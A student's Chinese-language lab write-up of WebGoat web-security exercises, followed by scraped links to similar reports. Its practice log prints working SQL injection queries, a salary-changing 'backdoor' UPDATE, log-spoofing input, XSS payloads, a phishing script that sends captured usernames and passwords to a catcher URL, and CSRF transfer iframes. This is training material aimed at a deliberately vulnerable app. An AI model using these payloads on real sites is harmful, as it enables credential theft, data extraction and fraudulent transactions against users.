20145201李子璇 《网络对抗》 Web安全基础实践
1.实验后回答问题
(1)SQL注入攻击原理,如何防御
原理:通过构建特殊的输入作为参数传入web应用程序。即把SQL命令注入到Web表单的输入域或页面请求的查询字符串,和之前已经设定好的查询语句构成关联,欺骗服务器执行恶意的SQL命令,从而达到控制读取网页等目的。
防御:对用户输入的参数进行过滤,对输入数据的合法性进行判断(不允许输入特殊字符,如:' 等)。
(2)XSS攻击的原理,如何防御
- 原理:跨站脚本攻击。构造带有攻击代码的URL,将URL进行包装,被攻击者以为是正常的网页,点击,攻击代码随着html返回到被攻击者浏览器并执行,用户就中招了。
- 防御:将一些不合理的标签(eg:< > % /)进行过滤;限制用户输入的字符,例如:只允许输入a-z A-Z 0-9
(3)CSRF攻击原理,如何防御
- 原理:和xss类似,但是CSRF不用“骗取”用户信息,他是利用用户已经登录之前那个网站存储下来的cookie,以中招用户的身份完成一系列非法的操作。
- 防御:最根本的就是解决cookie问题呗,可以增加验证码,用户每次提交表单都要输入验证码才行!
2.实验总结与体会
知道了为什么注册时不让用特殊符号。以后设计相关网页时也要注意,一定要对用户输入数据的合法性进行判断。太可怕了,一不小心就被攻击...
3.实践过程记录
完成列表


SQL
Blind Numeric SQL Injection(数字型盲注入)
可以输入一个帐号,检测其是否合法。用返回信息(真或假)测试检查数据库中其它条目信息。
目标是找到 1111222233334444 的pin数值(整型)。
比如我查了101账号是合法的
- 然后是寻找pin数值
查找PIN 数值是否大于10000。
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
页面显示值是不大于10000的。 - 一直调整数值,来缩小判断范围,最终得出pin值的大小。
最后输入的是:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );

发现合法 那么直接在框中输入2364即可。

字符串型盲注入(Blind String SQL Injection)
输入一个帐号,检测帐号是否合法。用该返回信息检查数据库中其它条目信息。
目标是找到字段4321432143214321中pin 的数值(值为字符串)
- 和上一个类似。
输入查询语句:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'C' ); - 这句使用了SUBSTRING 方法,获得pin字符数值的第一个字母,判断它是否比字母“C”小。
SUBSTRING 的语法是:SUBSTRING(STRING,START,LENGTH) - 依此类推,最终答案Jill,提交:

Log Spoofing(日志欺骗)
使用户名admin ,显示“成功登录”。
操作方法(Solutions)
先试一下我的学号作为用户名,发现用户名后面的信息会在同一行显示。那么之后可以考虑用回车来进行sql注入。

在用户名中输入 %0d%0aLogin Succeeded for username: admin (注:%0d是回车 %0a是换行符)
就可以实现了
String SQL Injection(字符串型注入)
目标是将所有信用卡信息一起显示出来。
先尝试输一下

注入字符是' or 1=1 -- 原理是用'将字符和之前的截断,后面用永真式1=1,最后是‘--’把之后的内容注释掉

Database Backdoors(数据库后门)
- 可以先输入101,看一下得到的信息,可以发现没有验证,可以进行sql注入。
- 101; update employee set salary=10000
把编号为101的人工资修改成10000(这步我没截图- -后来发现回不去了...) - 使用语句,添加后门,把邮箱全改为我学号:

xss
Stored XSS Attacks(保存型XSS攻击)
- 攻击者写的Xss代码将被直接保存在服务器上,之后所有访问的用户都会中招。
直接在massage框中输入javascrip脚本,即可
<script>alert("xxx")</script>
提交之后,如果再次点击刚刚发布的帖子,就会出现弹框。


Reflected XSS Attacks(反射型XSS)
和上一个类似,在下面文本框中输入 http://www.targetserver.com/search.asp?input= ,服务端会跳转到对应的错误页,如下:

这样www.targetserve.com里的恶意js会被执行。
Phishing with XSS (跨站脚本钓鱼攻击)
- search框编写前端代码并在输入框中注入这段前端代码
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 按要求输入username password 成功截获

CSRF
Cross Site Request Forgery (CSRF)
message里输入
这其中,286是网页的scr,900是网页的menu,999999转钱数额

列表中出现刚刚提交的数据

点击代码执行

CSRF Prompt By-Pass
- 通过邮件的方式进行恶意请求,需要两个iframe模块,如下:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
20145201李子璇 《网络对抗》 Web安全基础实践的更多相关文章
- 20145334赵文豪网络对抗Web安全基础实践
1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...
- 2018-2019 20165221 网络对抗 Exp5 MSF基础
2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...
- 20145306 网路攻防 web安全基础实践
20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...
- 20155324《网络对抗技术》web安全基础实践
20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...
- 20155326《网络对抗》Web安全基础实践
20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...
- 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践
20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...
- 20145236《网络对抗》Exp9 web安全基础实践
20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...
- 20145215《网络对抗》Exp9 Web安全基础实践
20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...
- 20145208 蔡野 《网络对抗》Exp9 web安全基础实践
20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...
- 20145308 《网络对抗》Web安全基础实践 学习总结
20145308 <网络对抗> Web安全基础实践 学习总结 实验内容 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 基础问题回答 (1)SQL注入攻击原理, ...
随机推荐
- my97datepicker 怎么设置页面加载时默认值为当天时间
Demo示例如下:<script language="javascript" type="text/javascript" src="My97D ...
- MQTT-SN协议乱翻之小结篇
前言 这里简单做一些小结和对比,针对前面的协议翻译部分,一阶段的学习完结. MQTT-SN VS MQTT MQTT-SN基于MQTT原有语义,但做了很多的调整.比如: 一个CONNECT消息被拆分为 ...
- XML的一些点
最近学习Spring会配置许多XML文件,没有系统学习过XML遇到了许多问题,系统的看了一下有些拨云见日的感觉. 推荐学习:http://www.w3school.com.cn/xml/xml_int ...
- WEB安全第七篇--终结篇考验逻辑思维:逻辑漏洞大汇总(越权、会话逻辑、业务逻辑、暴力破解)
零.前言 最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件.底层安全.漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的pay ...
- postgresql----数据库表约束----FOREIGN KEY
六.FOREIGN KEY ---- 外键约束 外键可以是单个字段,也可以是多个字段.所谓的外键约束就是引用字段必须在被引用字段中存在,除非引用字段部分为NULL或全部为NULL(由MATCH TYP ...
- linux中增加swap分区文件的步骤方法
一.swap交换分区 Swap分区在系统的物理内存不够用的时候,把硬盘空间中的一部分空间释放出来,以供当前运行的程序使用.那些被释放的空间可能来自一些很长时间没有什么操作的程序,这些被释放的空间被临 ...
- 170613、Spring整合RabbitMQ实例
一.rabbitMQ简介 1.1.rabbitMQ的优点(适用范围)1. 基于erlang语言开发具有高可用高并发的优点,适合集群服务器.2. 健壮.稳定.易用.跨平台.支持多种语言.文档齐全.3. ...
- oracle之用户名密码包含特殊字符时候怎么使用sqlplus登录
oracle有时候用户密码包含一些特殊字符直接登录会报错,需要使用以下方式登录sqlplus sqlplus 'username/"password"' PS:整体使用单引号括起来 ...
- poj1463 Strategic game【树形DP】
Strategic game Time Limit: 2000MS Memory Limit: 10000K Total Submissions: 9582 Accepted: 4516 De ...
- 删除 oracle
C:\app\Administrator\product\11.2.0\client_1\deinstall 用这个批处理文件,会把oracle全部删除,除这个目录本身以外 .另外它不删除服务,即使服 ...
